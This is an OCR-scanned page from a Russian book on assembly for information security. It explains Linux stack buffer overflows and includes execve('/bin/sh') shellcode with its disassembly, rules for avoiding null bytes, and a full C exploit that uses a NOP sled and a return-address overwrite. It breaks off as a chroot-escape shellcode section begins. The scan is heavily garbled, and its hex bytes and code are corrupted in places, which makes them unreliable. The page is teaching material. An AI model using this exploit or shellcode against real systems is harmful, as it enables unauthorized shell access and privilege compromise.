Анимация
JavaScript


Главная  Библионтека 

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 [ 44 ] 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88

276 Ассемблер в задачах защиты инфор.

char buffer[100]; strcpy(buf£er,argv[l]) ; return 0;

Казалось бы, все должно быть отлично: мы копируем в отведенный буфер из ста симв, лов первый параметр программы. Но подумайте, что будет, если мы передадим не сто chi волов, а двести. Скорее всего, программа завершится неудачно с выбросом core-файла.

Давайте рассмотрим эту программу подробнее с точки зрения возможности исподн ния своего кода. Мы уже поняли, что в профамме нет проверки на длину входяще буфера, что позволяет переполнить буфер, но какой код стоит использовать?

В качестве примера можно взять любую профамму-эксплойт (exploit), иначе говор профамму, реализующую ошибки в ПО и приводящую к исполнению кода хакера в си теме. Ниже приведена часть эксплойта.

char shellcode[]=

"\xeb\xlf\x5e\x89\x76\x08\x31\xc0\x88\x46\x0T "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff" "/bin/sh";

main(int argc,char* argv[])

void(*shell) shell 0,•

)=(void*)shellcode;

return 0;

Определяем буфер, в котором находятся бинарные данные, - это и есть shell-code Далее в основной профамме создаем указатель на функцию shell(), которой присваивае указатель на наш shell-code, после чего выполняем shell(). Конечно, эта программ не реализует уязвимостей. Ее цель - объяснить, что такое shell-code. •

Дизассемблируем профамму при помощи objdump с параметром -D. Пролистг до секции shellcode, видим следующее:

080494е0

<shellcode>:

80494е0

eb If

jmp 8049501

80494е2

pop %esi

80494еЗ

89 76 08

%esi,0x8(%esi)

80494е6

31 cO

%eax,%eax

80494е8

88 46 07

%al,0x7(%esi)

80494еЬ

89 46 Oc

%eax,Oxc(%esi)

80494ее

bO Ob

$Oxb,%al

80494f0

89 f3

%esi,%ebx

чава 4- r.f..f.P ../f.PuoHHou системе Linux

g0494f2 4fa

80494fc 4fe

80494ff 8049501

8049507 804950a 804950b

8d 4e 08 8d 56 Oc cd 80 31 db 89 d8 40

cd 80

lea lea int xor mov inc int

e8 dc ff ff ff

62 69 6e 2f

73 68

das bound das jae

Ox8(%esi),%ecx

Oxc(%esi),%edx

$0x80

%ebx,%ebx

%ebx,%eax

%eax

$0x80

call 80494e2 <shellcode+0x2> %ebp,0x6e(%ecx) 8049575 < DYNAMIC+0x2d>

Обратите внимание на второй столбец - это и есть наш shell-code. Интересно, что за профамму мы пытаемся выполнить. Давайте разбираться.

jmp 8049501 <shellcode+0x21> можем заменить на jmp $code - пусть это будет пол ноценная метка, так проще разбираться. Получается следующая профамма:

,:ext

.global start start:

jjip $code main: pop I

mov xor raov raov raov mov lea lea int xor mov inc int :ode: :ali

string et

%esi

%esi,0x8(%esi) %eax,%eax %al,0x7(%esi) %eax,Oxc(%esi) $Oxb, %al *esi,%ebx 0x8(%esi),%ecx Oxc(%esi),%edx $0x80

%ebx,%ebx %ebx,%eax %eax $0x80

$main

"/bin/sh#AAMBBBB"

Tull управление на метку $code, на которой стоит команда call

"кома2пГ""Гт™" помещается адрес возврата на следую-

МеткГЗ находится строка с вызываемой командой. Следовательно,

тке $таш команда pop %esi получает адрес строки. Если спуститься чуть ниже по



коду, видно, что в программе два раза вызывается int $0x80, т. е. имеются два системн вызова. Что это за вызовы, можно определить, сравнив значения, имеющиеся в "/oej с номерами функщ1й из /usr/include/sys/syscall.h.

В первом случае - это $ОхЬ, во втором - $0x1 (execve, exit).

Если со вторым вызовом все понятно (см. описание к программе с write()), то с ъь,щ вом execve() нужно разобраться.

execveO принимает три параметра: 0 название профаммы;

указатель на название профаммы;

указатель на среду окружения.

Так этот вызов реализуется на С:

char *name[21;

name[0]="/bin/sh";

name[l)=NULL;

execve(name[0],name,NULL); на ассемблере это реализуется следующим образом:

адрес строки в iesi pop %esi

помещаем адрес строки вместо АААА mov %esi,0x8(%esi) очищаем %еах хог %еах,%еах

ставим \0 в конец строки /bin/sh вместо #

mov %al,0x7(%esi)

записываем NULL вместо ВВВВ

mov %eax,Oxc(%esi)

номер системного вызова в %еах

mov $Oxb, lal

адрес строки в %еЬх

mov %esi,%ebx

адрес ААМ в %есх

lea 0x8(%esi) Деох

адрес ВВВВ в %edx

lea Oxc(%esi),%edx

вызов прерывания

int $0x80

Компиляция профаммы:

$ gcc -с write.S

$ Id -s -о write write.о

Программа готова к работе, но есть некоторые моменты, которые стоило 6i>i обсудить.

Дело в том что shell-code не может содержать нулевых символов. Это обусловлено тем, что д1ИИ работы со строками, в которых чаще всего обнаруживается переполнение буфера, Гро помешают входную строку до первого нулевого символа, который считается концом ки. Во избежание попадания нулевых символов нужно следовать следующим правилам:

не посылать байт в 32-или 16-разрядный регистр, так как компилятор дополнит

посылаемое значение нулями до нужного размера; щ помешать номер системного вызова в регистр %al, а не в %еах: mov $Oxb,%al; щ не использовать функцию push при сохранении в стеке байта или слова; щ помнить о постфиксах для команд, использующих пересылку данных; для сохранения

или передачи данных можно использовать четкий размер, например, для пересылки

байта нужно использовать постфикс Ь: pushb $Oxb; а для обнуления регистров использовать операции хог, inc, dec, например, вместо movl

$0,%еах использовать xorl %еах,%еах.

4.4. Реализация эксплойта

в этом разделе мы разработаем эксплойт, реализующий уязвимость переполнения буфера в приведенной выше профамме.

У каждой профаммы есть свой стек, указатель на который можно получить следующим образом:

imsigned long get sp(void)

asm ("movl %esp,%eax"); .

Функция вернет указатель на начало стека. У нас есть массив из 100 элементов, необходимо поместить shell-код куда-то внутрь него. Но при этом не потерять его в памяти, т. е. всегда "eib указатель на начало shell-кода. Также необходимо следить, чтобы перед нашим кодом в t не попало ничего лишнего, что могло бы привести к сбою профаммы. Мы уже говорили * указателе на начало стека, значит, наш буфер должен располагаться если не сразу после ОГО адреса, то где-то неподалеку. Свободные ячейки буфера заполним командой NOP (\х90), Того чтобы при переходе в любое место буфера мы просто пропустили бы несколько так-

Процессора и затем попали в точку входа нашей ассемблерной профаммы. Итак, создаем новый буфер большей величины следующего содержания: начало состо-

"3 команд NOP, где-то в середине находится наш shell-code, а в конце - адрес возврата.

!:=lude <stdio.h> ""1аде <stdlib.h>



Ассемблер в задачах защиты информащ 4. Ассемблер в .....................................................2

tdefine RET #define RANGE

1024

"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff "/bin/sh";

unsigned long get sp(void)

asm ("movl %esp,%eax");

main(int argc,char *argv[l) (

int offset=0,bsize=RET+RANGE+l; int i;

char buff[bsize],*ptr; long ret; unsigned long sp;

if (argc<l)

printf("There where no offsetXn"); exit 0;

offset=atoi(argv[11); sp=get sp(); ret=sp-offset;

printf("The stack pointer is: Ox%x\n",sp); printf("The offset is: Ox%x\n",offset); printf("Ret addr is: Ox%x\n",ret);

for(i=0;i<bsize;i+=4)

Mlong *)Sbuff [I]=ret;

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-l;i++) buff[il=\x90;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-l;

Глава

for (i=0;Kstrlen(shellcode);i++) Mptr++)=shellcode[i];

buff[bsize-ll=\0; gxecl (" /vulnerablel", "vulnerablel" ,buf f>ij

Так как в рассматриваемом случае буфер является единственной переменной, к тому ж она находится в начале программы, то и смещение должно быть относительно малы\ смешение от 200 - 700 должно работать, но все-таки помните, что это зависит от конкрет ной машины.

После выполнения программы буфер выглядит так:

SOP NOP ... NOP SHELL-CODE RET RET RET

Алгоритм работы эксплойта:

получаем указатель на начало стека профаммы;-

вычисляем адрес возврата - начало стека минус смещение;

заполняем весь буфер адресом возврата;

заполняем буфер до начала shell-code опкодом NOP; I вставляем shell-code в тело буфера;

заканчиваем shell-code нулевым символом. Остановимся подробнее на написании shell-кодов.

45. Chroot shell4:ode

Chroot() - функщм, отвечающая за изменение корневого каталога для профаммы функцию используют ftp-сервера для разфаничения доступа, например, для тоге чтобы пользователь не имел доступа выше своего домашнего каталога.

Хакеры используют эту функцгао в своих shell-кодах восстановления первоначально-

корневого каталога для сервера. Таким образом, появляется возможность получить •"•(туп к критической информации, находящейся в других каталогах.

Номер этой функции Ox3d. Ниже приведен алгоритм работы shell-кода:

I обнуляем регистры %еах, %есх; <=охраняем один из регистров - это будет конец строки ( символ \0); Ридцать раз сохраняем символ . ; Шагом в два символа увеличиваем код символа на единицу, получится код символа 7;



0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 [ 44 ] 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88